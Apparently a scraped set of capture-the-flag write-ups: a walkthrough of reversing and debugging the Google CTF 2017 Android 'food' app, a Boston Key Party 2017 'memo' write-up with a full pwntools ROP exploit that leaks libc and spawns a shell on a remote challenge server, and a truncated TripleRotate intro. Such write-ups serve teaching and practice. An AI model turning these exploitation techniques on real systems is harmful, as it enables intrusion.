Probably `app_data_file` is not allowed for `untrusted_app` domain,but setting the same categories (c512,c768) as in the app context willallow access to the `files` dir. In ADB shell:```generic_x86:/ # chcon u:object_r:app_data_file:s0:c512,c768 /data/data/com.google.ctf.food/filesgeneric_x86:/ # ls -Zal /data/data/com.google.ctf.food/ total 48drwxr-x--x 5 u0_a71 u0_a71 u:object_r:app_data_file:s0:c512,c768 4096 2017-06-22 23:01 .drwxrwx--x 94 system system u:object_r:system_data_file:s0 4096 2017-06-22 22:52 ..drwxrwx--x 2 u0_a71 u0_a71 u:object_r:app_data_file:s0:c512,c768 4096 2017-06-22 22:52 cachedrwxrwx--x 2 u0_a71 u0_a71 u:object_r:app_data_file:s0:c512,c768 4096 2017-06-22 22:52 code_cachedrwxrwxrwx 3 u0_a71 u0_a71 u:object_r:app_data_file:s0:c512,c768 4096 2017-06-23 00:07 fileslrwxrwxrwx 1 root root u:object_r:app_data_file:s0 39 2017-06-22 22:52 lib -> /data/app/com.google.ctf.food-1/lib/x86```
After restarting the whole debugging process (restart app, attach gdbserver,connect from host gdb, break on `JNI_OnLoad`, bypass `dlopen` check),the mkdir should execute flawlessly:
```generic_x86:/ # ls -Zl /data/data/com.google.ctf.food/files/ total 8drwx------ 2 u0_a71 u0_a71 u:object_r:app_data_file:s0:c512,c768 4096 2017-06-23 00:07 odex```
Now `fopen`, `fwrite` and `fclose` should work as well.We can get the file `d.dex` by setting a breakpoint after `fclose`:
```$ ~/Android/Sdk/platform-tools/adb shell 'su root cat /data/data/com.google.ctf.food/files/d.dex' > d.dex```
Of course dumping `d.dex` directly from `libcook.so` is also possible.If we set a breakpoint on `fwrite`, we can catch the parameters, so thelocation of `d.dex` in `libcook.so` can be obtained easily:it is at offset `0x1640` with length `0x15a8`.
Here is a shot of how dynamic debugging helps:
But probably this is not the final version of what we want, becausethe app patches `d.dex` later (in the memory) in function `fcn.00000710`.
Anyway, we can continue until the last call in `JNI_OnLoad`(which jumps to `fcn.00000710`),all of the checks get passed without exiting with `JNI_ERR`.Meanwhile, the system calls `dex2oat` and we can see that the[DEX (Dalvik EXecutable)](https://en.wikipedia.org/wiki/Dalvik_(software))in memory gets compiled to optimized[ART (Android RunTime)](https://en.wikipedia.org/wiki/Android_Runtime).
Stepping into `fcn.00000710` reveals the following:
* the function finds memory region identified by `/d.dex`* searches for string `dex\n0` in the region and applies the patchonly if that string was found* the patch data absolute address can be calculated easilyby `print $ebx-0x2a14` and the offset in `libcook.so` can beseen by looking at the library base address issuing the cmd`vmmap` in gdb* so the patch offset in `libcook.so` is `0x15a0`, the xorvalue to be used is `0x5a`, the length of the patch is 144 bytesand the target offset in `d.dex` is `0x720`.* the patch is not applied in the above flow (because d.dexwas compiled to ART), but continuing is possible.
After continuing, a graphical 4x8 matrix of food icon buttonsappears on the vm console. Pushing the buttons is possible,but nothing interesting happens...
Maybe it is time to switch to static analysis, again.We have the `d.dex` file, so we may try to decompile it(and/or apply the patch manually, and decompile the patched version).
### analyzing the DEX file
There are nice tools to decompile a Dalvik EXecutable (DEX) fileto Java Source, a recommended one is[JADX - Dex to Java decompiler](https://github.com/skylot/jadx).
```$ jadx -d d_jadx d.dex```
After decompiling, we have classes `F`, `R`, `ℝ` and `S` inpackage `com.google.ctf.food`. The method `cc` in class `F`seems to be buggy, because there are just a lot of repeating returninstructions in it. This may imply that the patch is mandatory.
#### patching d.dex
The manual patch is trivial because we have obtained all the necessaryparameters above during dynamic analysis. Here is a snippet that doesthe patch ([patch_dex.py](./patch_dex.py) here in the repo):
```python#!/usr/bin/python2#
libcook = open('./food/lib/x86/libcook.so', 'rb')libcook.seek(0x15a0)patchdata = libcook.read(0x90)
# getting the dex from the dumped file#orig_dex = open('./d.dex', 'rb').read()
# or get it directly from libcook.solibcook.seek(0x1640)orig_dex = libcook.read(0x15a8)
patched_dex = open('./d_patched.dex', 'wb')patched_dex.write(orig_dex[:0x720])patched_dex.write(''.join(map(lambda x: chr(ord(x)^0x5a), patchdata)))patched_dex.write(orig_dex[0x720+0x90:])patched_dex.close()libcook.close()```
So applying the patch and decompiling again; jadx runswithout any errors:```$ ./patch_dex.py$ ./jadx/bin/jadx -d d_patched_jadx d_patched.dex 02:33:16 INFO - loading ...02:33:16 INFO - processing ...02:33:17 INFO - done```
### static analysis of the Java Source: getting the flag
Now getting the flag is very close. We just have to understandwhat does the Java code do. There are 4 class members in thepackage com.google.ctf.food:
* class S draws 32 food objects (as clickable buttons) on thescreen and sends the pushed food item ids to class F.* class F receives the ids broadcasted from class S, andvalidates the ids with some hardcoded values in method `F.cc()`.* if ids matched, pass them to `ℝ.ℂ()` and get the flag.
Here is F.cc():
```java public void cc() { byte[] bArr = new byte[]{(byte) 26, (byte) 27, (byte) 30, (byte) 4, (byte) 21, (byte) 2, (byte) 18, (byte) 7}; for (int i = 0; i < 8; i++) { bArr[i] = (byte) (bArr[i] ^ this.k[i]); } if (new String(bArr).compareTo("\u0013\u0011\u0013\u0003\u0004\u0003\u0001\u0005") == 0) { Toast.makeText(this.a.getApplicationContext(), new String(ℝ.ℂ(flag, this.k)), 1).show(); } }```
Reusing the original Java code, just by adding a modifiedversion of F.cc(), we can get the flag immediately.The full source of [Solve.java](./Solve.java):```javaimport com.google.ctf.food.ℝ;
/* original F.cc()class F { ...
public void cc() { byte[] bArr = new byte[]{(byte) 26, (byte) 27, (byte) 30, (byte) 4, (byte) 21, (byte) 2, (byte) 18, (byte) 7}; for (int i = 0; i < 8; i++) { bArr[i] = (byte) (bArr[i] ^ this.k[i]); } if (new String(bArr).compareTo("\u0013\u0011\u0013\u0003\u0004\u0003\u0001\u0005") == 0) { Toast.makeText(this.a.getApplicationContext(), new String(ℝ.ℂ(flag, this.k)), 1).show(); } }}*/
// call modified F.cc() to output the flagpublic class Solve {
// unmodified from class F private static byte[] flag = new byte[]{(byte) -19, (byte) 116, (byte) 58, (byte) 108, (byte) -1, (byte) 33, (byte) 9, (byte) 61, (byte) -61, (byte) -37, (byte) 108, (byte) -123, (byte) 3, (byte) 35, (byte) 97, (byte) -10, (byte) -15, (byte) 15, (byte) -85, (byte) -66, (byte) -31, (byte) -65, (byte) 17, (byte) 79, (byte) 31, (byte) 25, (byte) -39, (byte) 95, (byte) 93, (byte) 1, (byte) -110, (byte) -103, (byte) -118, (byte) -38, (byte) -57, (byte) -58, (byte) -51, (byte) -79};
// simply calculate k from the expected result (compareTo) // modified from F.cc() public static byte[] cc() { byte[] k = new byte[8]; byte[] bArr = new byte[]{(byte) 26, (byte) 27, (byte) 30, (byte) 4, (byte) 21, (byte) 2, (byte) 18, (byte) 7}; byte[] compareTo = new byte[]{(byte) 0x13, (byte) 0x11, (byte) 0x13, (byte) 0x3, (byte) 0x4, (byte) 0x3, (byte) 0x1, (byte) 0x5}; for (int i = 0; i < 8; i++) { k[i] = (byte) (bArr[i] ^ compareTo[i]); System.out.format("%d ", k[i]); // output food ids as well } System.out.println(); return ℝ.ℂ(flag, k); } public static void main(String[] args) { System.out.println(new String(cc())); }}```
Compiling and running Solve.java gives the flag:```$ javac -cp .:./d_patched_jadx/ Solve.java$ java -cp .:./d_patched_jadx/ Solve9 10 13 7 17 1 19 2 CTF{bacon_lettuce_tomato_lobster_soul}```
### alternative solution: cook up the flag
We got the flag, but it would be nice to get the patcheddex running and make it show the flag when pressed the rightfood button icons in order.
The right order of the food buttons can be obtained byanalyzing the source code of the above patched `d.dex` file.Method `F.cc()` in `com.google.ctf.food` validates the clicksby xoring the ids with `bArr` and checking against aunicode string. Sorting the equation, this means theids (k) in order should be `bArr` xored with that unicode string:
```k = [9 10 13 7 17 1 19 2]```
Note, that the class Solve above dumps this array as well.The ids start from 0 and grow row by row when displayingthe food icon matrix. Furthermore, looking at class S,the ids can be translated to food icons:
```? ? ? ? ? ? ? ?```
So these buttons should be pressed in order (aka this is the recipe),and then the flag should be displayed.
However, it is important, that the patched `d.dex` should be used.And the patch will not be performed in the normal program flow,because the app tries to patch the dex _after_ it was compiledto oat. A simple workaround for this is to replace the `d.dex`file with the patched one immediately after it was writtento the fs. This can be done by setting a breakpoint after `fclose()`with the attached gdb, then the file `d.dex` can be replacedby the (manually) patched one (see above).
To make this work, `.dex`[header items](https://source.android.com/devices/tech/dalvik/dex-format)(adler32 checksum and sha1 hash) of the patched dex must be recalculated,otherwise `dex2oat` fails and the app aborts.
r2 not just supports `.dex` files (for disassembling), but knowsadler32 and other hash algorithms, and gives advice about how to fix`.dex` with invalid checksums:
```$ ./patch_dex.py # creates d_patched.dex$ r2 -w ./d_patched.dex # loads d_patched.dex into radare2 (in write mode)# adler32 checksum doesn't match. Type this to fix it:wx `#sha1 $s-32 @32` @12 ; wx `#adler32 $s-12 @12` @8[0x00000688]> wx `ph sha1 $s-32 @32` @12[0x00000688]> wx `ph adler32 $s-12 @12` @8[0x00000688]> q$ r2 d_patched.dex # load again (just for testing)[0x00000688]> q```
Now `d_patched.dex` is a valid `.dex` file.
Let us start everything from scratch. Launch the emulator and start displaying log:```$ ~/Android/Sdk/tools/emulator @food -skin 480x600 &$ ~/Android/Sdk/platform-tools/adb logcat```
Start the app and attach `gdbserver` (within 30 secs):```$ ~/Android/Sdk/platform-tools/adb shell am start com.google.ctf.food/com.google.ctf.food.FoodActivityStarting: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=com.google.ctf.food/.FoodActivity }$ ~/Android/Sdk/platform-tools/adb shell su root 'gdbserver --attach :4444 `pidof com.google.ctf.food`'Attached; pid = 3060Listening on port 4444```
Forward host tcp port 4444 to emulator tcp port 4444and connect `gdb`:```$ ~/Android/Sdk/platform-tools/adb forward tcp:4444 tcp:4444$ gdb -ex 'target remote :4444'```
Break on `JNI_OnLoad` in gdb:```gef➤ break JNI_OnLoad Breakpoint 1 at 0xa4112a74 (6 locations)gef➤ continueContinuing.Reading /data/app/com.google.ctf.food-1/lib/x86/libcook.so from remote target...
Breakpoint 1, 0xa7e28ae0 in JNI_OnLoad () from target:/data/app/com.google.ctf.food-1/lib/x86/libcook.so...────────────────────────────────────────────────────────────gef➤ ```
Bypass `dlopen("libdvm.so", 0)` check and break after `fclose()`:```gef➤ x/6i 0xa7e28e07 0xa7e28e07 <JNI_OnLoad+807>: mov DWORD PTR [esp],eax 0xa7e28e0a <JNI_OnLoad+810>: mov DWORD PTR [esp+0x4],0x0 0xa7e28e12 <JNI_OnLoad+818>: call 0xa7e28570 <dlopen@plt> 0xa7e28e17 <JNI_OnLoad+823>: test eax,eax 0xa7e28e19 <JNI_OnLoad+825>: je 0xa7e29580 <JNI_OnLoad+2720> 0xa7e28e1f <JNI_OnLoad+831>: mov eax,DWORD PTR [esp+0xa4]gef➤ break *0xa7e28e17Breakpoint 2 at 0xa7e28e17gef➤ continue Continuing.
Breakpoint 2, 0xa7e28e17 in JNI_OnLoad () from target:/data/app/com.google.ctf.food-1/lib/x86/libcook.so────────────────────────────────────────────────[ registers ]────────────$eax : 0x00000000...────────────────────────────────────────────────[ code:i386 ]────────────... 0xa7e28e0a <JNI_OnLoad+810> mov DWORD PTR [esp+0x4], 0x0 0xa7e28e12 <JNI_OnLoad+818> call 0xa7e28570 <dlopen@plt> → 0xa7e28e17 <JNI_OnLoad+823> test eax, eax 0xa7e28e19 <JNI_OnLoad+825> je 0xa7e29580 <JNI_OnLoad+2720> 0xa7e28e1f <JNI_OnLoad+831> mov eax, DWORD PTR [esp+0xa4]...────────────────────────────────────────────────────────────gef➤ set $eax=1gef➤ x/8i 0xa7e28f20 0xa7e28f20 <JNI_OnLoad+1088>: lea eax,[ebx-0x2974] 0xa7e28f26 <JNI_OnLoad+1094>: mov DWORD PTR [esp+0x8],0x1 0xa7e28f2e <JNI_OnLoad+1102>: mov DWORD PTR [esp+0x4],0x15a8 0xa7e28f36 <JNI_OnLoad+1110>: mov DWORD PTR [esp],eax 0xa7e28f39 <JNI_OnLoad+1113>: call 0xa7e28590 <fwrite@plt> 0xa7e28f3e <JNI_OnLoad+1118>: mov DWORD PTR [esp],esi 0xa7e28f41 <JNI_OnLoad+1121>: call 0xa7e28530 <fclose@plt> 0xa7e28f46 <JNI_OnLoad+1126>: mov eax,DWORD PTR [ebx+0x50]gef➤ break *0xa7e28f46Breakpoint 3 at 0xa7e28f46gef➤ continueContinuing.
Breakpoint 3, 0xa7e28f46 in JNI_OnLoad () from target:/data/app/com.google.ctf.food-1/lib/x86/libcook.so...─────────────────────────────────────────────────[ code:i386 ]──── 0xa7e28f36 <JNI_OnLoad+1110> mov DWORD PTR [esp], eax 0xa7e28f39 <JNI_OnLoad+1113> call 0xa7e28590 <fwrite@plt> 0xa7e28f3e <JNI_OnLoad+1118> mov DWORD PTR [esp], esi 0xa7e28f41 <JNI_OnLoad+1121> call 0xa7e28530 <fclose@plt> → 0xa7e28f46 <JNI_OnLoad+1126> mov eax, DWORD PTR [ebx+0x50] 0xa7e28f4c <JNI_OnLoad+1132> mov eax, DWORD PTR [eax]...────────────────────────────────────────────────────────────```
Now overwrite `d.dex` with the patched one in the emulatorand fix permissions (with SELinux context):```$ ~/Android/Sdk/platform-tools/adb shell rm /data/data/com.google.ctf.food/files/d.dex$ cat d_patched.dex | ~/Android/Sdk/platform-tools/adb shell su root cat \> /data/data/com.google.ctf.food/files/d.dex$ ~/Android/Sdk/platform-tools/adb shellgeneric_x86:/ $ sugeneric_x86:/ # cd /data/data/com.google.ctf.food/files generic_x86:/data/data/com.google.ctf.food/files # ls -alZtotal 48drwxrwxrwx 3 u0_a71 u0_a71 u:object_r:app_data_file:s0:c512,c768 4096 2017-06-24 23:26 .drwxr-x--x 5 u0_a71 u0_a71 u:object_r:app_data_file:s0:c512,c768 4096 2017-06-24 23:04 ..-rw-rw-rw- 1 shell shell u:object_r:app_data_file:s0 5544 2017-06-24 23:26 d.dexdrwx------ 2 u0_a71 u0_a71 u:object_r:app_data_file:s0:c512,c768 4096 2017-06-24 23:15 odexgeneric_x86:/data/data/com.google.ctf.food/files # chown u0_a71:u0_a71 d.dexgeneric_x86:/data/data/com.google.ctf.food/files # chcon u:object_r:app_data_file:s0:c512,c768 d.dex```
If everything is ok, continuing execution flow will launchthe patched `d.dex`:```gef➤ continueContinuing.Reading /data/data/com.google.ctf.food/files/odex/d.dex from remote target...[New Thread 3514]Reading /system/lib/hw/gralloc.ranchu.so from remote target...Reading /system/lib/hw/.debug/gralloc.ranchu.so from remote target...Reading /system/lib/libOpenglSystemCommon.so from remote target...Reading /system/lib/.debug/libOpenglSystemCommon.so from remote target...Reading /system/lib/libGLESv2_enc.so from remote target...Reading /system/lib/.debug/libGLESv2_enc.so from remote target...Reading /system/lib/lib_renderControl_enc.so from remote target...Reading /system/lib/.debug/lib_renderControl_enc.so from remote target...Reading /system/lib/libGLESv1_enc.so from remote target...Reading /system/lib/.debug/libGLESv1_enc.so from remote target...Reading /system/lib/hw/gralloc.default.so from remote target...Reading /system/lib/hw/.debug/gralloc.default.so from remote target...```
Now it is time to interact with the graphical console of theemulator: press the food button icons in the right order.
### final: making things much easier ;)
We should answer to a basic question what can make things much easier:why the patch to the `.dex` does not apply in `fcn.00000710`?
Because the `.dex` gets compiled to [Android Runtime](https://en.wikipedia.org/wiki/Android_Runtime) (by `dex2oat`).Note, that Android Runtime (ART) had been introduced in[Android 4.4 KitKat (API 19)](https://en.wikipedia.org/wiki/Android_version_history#Android_4.4_KitKat_.28API_19.29)and replaced Dalvik in[Android 5.0 Lollipop (API 21)](https://en.wikipedia.org/wiki/Android_version_history#Android_5.0_Lollipop_.28API_21.29).
Furthermore, we had to bypass `dlopen("libdvm.so", 0)` check in `libcook.so`,because we used an emulator with API level 23, which does not support Dalvikvirtual machine (libdvm.so) directly, instead it compiles Dalvik EXecutables toART binaries.
But what if we would run the apk on an older system (<= API level 18),which uses Dalvik virtual machine?
* we would not bother with that dlopen check, because `libdvm.so`exists on systems with older API level* the patch would have been applied, because `.dex` would notcompile to ART, it would be left alone
Trying this is easier than we think, just grab an older system image(e.g. an Android 4.3 Jelly Bean with API level 18),create the appropriate Android Virtual Device (AVD) and launch it:
```$ ~/Android/Sdk/tools/bin/sdkmanager 'system-images;android-18;default;x86'$ ~/Android/Sdk/tools/bin/avdmanager create avd -n food_dalvik -k 'system-images;android-18;default;x86'$ ~/Android/Sdk/tools/emulator @food_dalvik -skin 480x600```
Let us try to install `food.apk`:```$ ~/Android/Sdk/platform-tools/adb install food.apkfood.apk: 1 file pushed. 99.0 MB/s (1176211 bytes in 0.011s) pkg: /data/local/tmp/food.apkFailure [INSTALL_FAILED_OLDER_SDK]```
Oops. Probably `AndroidManifest.xml` binds the apk to a newer API level.Unpack the apk again (decoding sources is not needed now):```$ apktool d -s food.apk I: Using Apktool 2.2.2 on food.apkI: Loading resource table...I: Decoding AndroidManifest.xml with resources...I: Loading resource table from file: /home/istvan/.local/share/apktool/framework/1.apkI: Regular manifest package...I: Decoding file-resources...I: Decoding values */* XMLs...I: Copying raw classes.dex file...I: Copying assets and libs...I: Copying unknown files...I: Copying original files...```
`AndroidManifest.xml` has `platfromBuildVersionCode="23"` attribute, but no `<uses-sdk>` attributes:```xml
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.google.ctf.food" platformBuildVersionCode="23" platformBuildVersionName="6.0-2438415"> <application android:allowBackup="true" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:supportsRtl="true" android:theme="@style/AppTheme"> <activity android:name="com.google.ctf.food.FoodActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> </application></manifest>```
Defining the appropriate[\<uses-sdk\>](https://developer.android.com/guide/topics/manifest/uses-sdk-element.html)attribute should make it possible to install the apk on systems with lower API level:```$ sed -e '3 i \ <uses-sdk android:minSdkVersion="18"/>' -i food/AndroidManifest.xml```
Now it should install on API level 18, too. Let us repack, sign, and try to install:```$ apktool b foodI: Using Apktool 2.2.2I: Copying food classes.dex file...I: Checking whether resources has changed...I: Building resources...W: Warning: AndroidManifest.xml already defines minSdkVersion (in http://schemas.android.com/apk/res/android); using existing value in manifest.I: Copying libs... (/lib)I: Building apk file...I: Copying unknown files/dir...$ cp food/dist/food.apk ./food-18.apk$ jarsigner -keystore googlectf2017.keystore food-18.apk foodEnter Passphrase for keystore: jar signed....$ ~/Android/Sdk/platform-tools/adb install food-18.apkfood-18.apk: 1 file pushed. 116.5 MB/s (1175263 bytes in 0.010s) pkg: /data/local/tmp/food-18.apkSuccess```
Awesome, it has been installed. Before first run, remember to createfolder `/data/data/com.google.ctf.food/files`, otherwise it will crash.But once it has been created, the app should run without further patchand errors. ;)
```$ ~/Android/Sdk/platform-tools/adb shell mkdir /data/data/com.google.ctf.food/files```
Note, that we do not have to worry about SELinux, although it is supportedfrom [Android 4.2 Jelly Bean (API 17)](https://en.wikipedia.org/wiki/Android_version_history#Android_4.1_Jelly_Bean_.28API_16.29),it is enforcing by default only from[Android 4.4 KitKat (API 19)](https://en.wikipedia.org/wiki/Android_version_history#Android_4.4_KitKat_.28API_19.29).
So now the app should run, and the patch in function `fcn.00000710` should applywithout any interaction. That is, pressing the appropriate food icon button inthe right order gives the flag.
|
[writeup by @abiondo]
**CTF:** Boston Key Party CTF 2017
**Team:** No Pwn Intended
**Task:** pwn/memo
**Points:** 300
We were given an ELF 64-bit binary of a simple memo taking application, along with its dynamically linked `libc`. `checksec` shows NX and full RELRO. Here's the relevant reversed parts:
```c// @ 0x602A00size_t g_msg_index;// @ 0x602A60int g_msg_len[4];char *g_msg_buf[5];char **g_msg_stack[5];
// @ 0x400C04int read_decimal(const char *prompt){ char buf[8];
printf(prompt); read(0, buf, sizeof(buf));
return atoi(buf);}
// @ 0x400C52void new_message(){ char *buf; // @ bp - 16 size_t len;
buf = 0; len = 0;
g_msg_index = read_decimal("Index: "); if (g_msg_buf[g_msg_index]) { puts("can't use this index\n"); return; }
if (g_msg_index > 4) { puts("Index too large"); exit(1); }
len = read_decimal("Length: "); if (len > 32) { puts("message too long, you can leave on memo though"); buf = malloc(32); read(0, buf, len); puts(""); } else { buf = malloc(len); printf("Message: "); read(0, buf, len); g_msg_buf[g_msg_index] = buf; g_msg_stack[g_msg_index] = &buf; g_msg_len[g_msg_index] = len; puts(""); }}
// @ 0x400DA8void edit_message(){ if (!g_msg_buf[g_msg_index]) { puts("have to leave message first"); exit(1); }
printf("Edit message: "); read(0, g_msg_buf[g_msg_index], g_msg_len[g_msg_index]);
puts("edited! this is edited message!"); printf("%s\n\n", (char *) &g_msg_buf[g_msg_index]);}```
`new_message` and `edit_message` are called by `main` when `1` or `2` (respectively) are entered as choices in the main menu. There's an obvious heap overflow in `new_message` when `len > 32`, we're going to ignore that (there are more heap vulnerabilities in other places, I didn't use them). Instead, we see that `edit_message` trusts the value of `g_msg_index` (i.e. the index of the most recent memo we worked on). `new_message` sets it *before* checking it, so by trying to create a new memo with a bogus index and then editing it we can trigger out-of-bound reads for `g_msg_buf` and `g_msg_len`. Also note that `g_msg_len` is of the wrong size, `4` instead of `5`.
`g_msg_buf` immediately follows `g_msg_len` in memory, so (provided we pass the `!g_msg_buf[g_msg_index]` check) we can pass `read` an address as size, which will be a big number. Note that `read` reads *up to* the specified amount of bytes, so we can control how much we write. `g_msg_stack` follows `g_msg_buf` in memory, so we can make `read` write to a stack address in the now-defunct `new_message` stack frame. The base pointer for `new_message` and `edit_message` will be the same because they're both called from `main` and have the same arguments. Since the return address is at `bp + 8` and `buf` in `new_message` is at `bp - 16` we need `8 - (-16) = 24` filler bytes to reach the return address of `edit_message`. We now have RIP control.
Notice that `g_msg_len` is an array of `int`s, i.e. 4 bytes. The heap addresses in `g_msg_buf` are low and use the lower 32 bits, so we'll need the `g_msg_len` out-of-bounds to line up at a `g_msg_buf` element boundary (i.e. the edit index has to be even), otherwise we'll get a zero-length read. Also, the edit index has to be >= 5 to get to `g_msg_stack`. We'll create a memo with index `1`, then set the index to `6`, then edit sending our exploit buffer. This will result in `read(0, g_msg_stack[1], ((size_t) (g_msg_buf[1])) & 0xFFFFFFFF)`.
There's also an address leak in `edit_message`, which is useful as the stack is randomized. The function prints the *address* of the memo buffer as a string instead of its content. In our out-of-bounds situation this will be the address of `buf` in the `new_message` frame, i.e. the address at which `read` writes our data. `printf` will stop at the first NUL byte. We know the top two bytes will be zero (because 64-bit addressing is really 48-bit). We assume the lower 6 bytes don't contain NULs, so we can leak them (and if they do, we just need to try again).
The binary has NX mitigation, so we need to build a ROP chain. Unfortunately `libc` is dynamically linked, so we can only call imported functions via PLT, and there's no `system` or `exec*` imported. Also, the binary has a small selection of gadgets and there are no syscall gadgets. We have the `libc`, so we can figure out the offset of e.g. `system` from any other function. The plan is to read the address of a `libc` function (I chose `read`) off the GOT, calculate the address of `system` and call `system("/bin/sh")`. Note also that, due to full RELRO, we can't overwite the GOT, so we can't return to PLT and we'll need a gadget to jump to an arbitrary address stored in a register or memory.
Due to the small gadget selection I couldn't find a way to calculate the address of `system` inside the ROP chain, so the plan became sending the address of `read` over the socket to my script, doing the calculation there and sending the address of `system` back to the ROP chain. We need gadgets to set the first three arguments (`rdi`, `rsi`, `rdx`) and to jump to an arbitrary location read off memory. I used the following gadgets:
```# pop rdi; ret;POP_RDI = 0x401263# pop rsi; pop r15; ret;POP_RSI_R15 = 0x401261# pop rbp; ret;POP_RBP = 0x400900# pop rdx; mov eax, dword ptr [rbp - 4];# mov rax, qword ptr [rax*8 + 0x401528]; jmp rax;POP_RDX_JMP = 0x401192 ```
The first three are self-explanatory (we'll see why we need `POP_RBP` shortly). The last one is a bit more complex and serves two purposes. First, it pops `rdx` off the stack, allowing us to set it. Then it does a jump through some indirections. It loads the dword `eax` from `rbp - 4`, then jumps to the address read from `((uint64_t) eax) * 8 + 0x401528`. This allows us to jump to any address if we can place it somewhere in memory between `0x401528` and `0x800401520` at a 8-byte aligned offset from `0x401528`. Say our jump address is stored at `addr`: to prepare the jump we place the dword `(addr - 0x401528) / 8` at a known location `eax_addr`, then we use `POP_RBP` to set `rbp` to `eax_addr + 4`.
In the following listings each line is a 64-bit qword. The exploit buffer starts with 24 junk bytes to get to the return address. We then call `puts` to print the GOT entry for `read` (using `write` would've been better, but I was lazy and assumed there were no NULs in the bottom 48 bits):
```POP_RDI0x601fa8 # 1st arg, read() @ GOT0x400818 # puts() @ PLT```
Now we need to call `read(0, some_writable_address, 8)` to read back the address of `system`. I chose `0x602a00` (in BSS) as the writable address. We'll call `read` via the `POP_RDX_JMP` gadget (because we need to fill `rdx`). The address of `read` is placed at `0x601fa8` (in the GOT). We'll put `(0x601fa8 - 0x401528) / 8` on the stack, after the ROP chain. We leaked stack addresses so we know where it's at, and we'll call its address `eax_for_read_addr`. I also placed a trivial call to `getchar` to avoid partial read issues with the connection (and because I'm paranoid).
```0x400858 # getchar() @ PLTPOP_RDI0 # 1st argPOP_RSI_R150x602a00 # 2nd arg, writable address0 # r15, junkPOP_RBPeax_for_read_addr + 4POP_RDX_JMP8 # 3rd arg```
Great, now all we need to do is call `system("/bin/sh")`. The address of `system` is stored at `0x602a00`. We calculate `(0x602a00 - 0x401528) / 8` and put it on the stack at `eax_for_system_addr`. We also put a NUL-terminated string `/bin/sh` on the stack at `binsh_addr`.
```POP_RDIbinsh_addr # 1st argPOP_RBPeax_for_system_addr + 4POP_RDX_JMP0 # rdx, junk```
We finally get a shell:
```$ cat /home/memo/flagbkp{you are a talented and ambitious hacker}```
Full exploit code:
```python#!/usr/bin/python2
from pwn import *
def login(p, uname): p.recvuntil('name: ') p.sendline(uname) p.recvuntil('password? (y/n) ') p.sendline('n')
def do_cmd(p, cmd): p.recvuntil('>> ') p.sendline(cmd)
def new_memo_set_index(p, idx): do_cmd(p, '1') p.recvuntil('Index: ') p.sendline(str(idx))
def new_memo(p, idx, size, msg): new_memo_set_index(p, idx) p.recvuntil('Length: ') p.sendline(str(size)) p.recvuntil('Message: ') p.sendline(msg)
def edit_memo(p, msg): do_cmd(p, '2') p.recvuntil('Edit message: ') p.sendline(msg) p.recvuntil('message!\n') leak = p.recv(6) p.recvuntil('\n\n') return u64(leak + '\x00\x00')
PUTS_PLT = 0x400818READ_PLT = 0x400840GETCHAR_PLT = 0x400858READ_GOT = 0x601fa8POP_RDI = 0x401263POP_RSI_R15 = 0x401261POP_RBP = 0x400900# pop rdx; mov eax, dword ptr [rbp - 4];# mov rax, qword ptr [rax*8 + 0x401528]; jmp rax;POP_RDX_JMP = 0x401192W_ADDR = 0x602a00
SYSTEM_READ_OFF = -0xb1620 # -0xb23c0 local
IDX_NEW = 1IDX_EDIT = 6
context(arch='amd64', os='linux')
p = remote('54.202.7.144', 8888)
login(p, 'A')
new_memo(p, IDX_NEW, 1, 'A')new_memo_set_index(p, IDX_EDIT)
buf_addr = edit_memo(p, '')eax_for_read_addr = buf_addr + 24 + 19*8eax_for_system_addr = eax_for_read_addr + 4binsh_addr = eax_for_system_addr + 4
buf = 'A'*24
# puts(READ_GOT)buf += p64(POP_RDI)buf += p64(READ_GOT)buf += p64(PUTS_PLT)# getchar()buf += p64(GETCHAR_PLT)# read(0, W_ADDR, 8)buf += p64(POP_RDI)buf += p64(0)buf += p64(POP_RSI_R15)buf += p64(W_ADDR)buf += p64(0) # r15, junkbuf += p64(POP_RBP)buf += p64(eax_for_read_addr + 4)buf += p64(POP_RDX_JMP)buf += p64(8)# (*W_ADDR)("/bin/sh")buf += p64(POP_RDI)buf += p64(binsh_addr)buf += p64(POP_RBP)buf += p64(eax_for_system_addr + 4)buf += p64(POP_RDX_JMP)buf += p64(0) # rdx, junk
buf += p32((READ_GOT - 0x401528) / 8)buf += p32((W_ADDR - 0x401528) / 8)buf += '/bin/sh\x00'
edit_memo(p, buf)read_addr = u64(p.recv(6) + '\x00\x00')p.sendline('A' + p64(read_addr + SYSTEM_READ_OFF))
p.interactive()``` |
# TripleRotate
> Decrypt it!
`encrypt` file contains:```[koffiedrinker@ctf TripleRotate]$ cat encrypt 0 0 1 0 0 0 1 0 1 1 0 1 0 1 1 0 1 1 1 0 0 0 1 0 1 0 1 1 1 0 1 0 0 0 0 1 0 0 0 1 1 0 1 1 0 1 1 0 0 0 0 0 1 1 0 1 1 1 0 0 1 0 1 0 1 0 1 1 0 0 1 0 1 0 1 0 1 0 0 0 0 1 1 1 0 1 0 0 1 1 0 0 0 0 0 1 1 1 0 1 1 0 0 0 1 1 1 1 1 1 1 1 0 1 1 1 0 1 0 1 1 0 1 0 1 0 0 1 0 0 0 1 0 0 0 1 1 0 0 1 0 1 0 0 1 0 0 1 1 0 0 0 1 1 0 1 1 1 0 0 1 0 0 1 0 1 1 0 0 1 1 0 1 1 1 1 0 1 1 1 0 1 0 1 1 0 0 1 0 0 1 0 0 0 1 0 1 0 0 0 1 ```
`prob` file:```[koffiedrinker@ctf TripleRotate]$ file prob prob: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=26a87d66cee9849e606408ca0d67f2023af31da4, stripped, with debug_info```
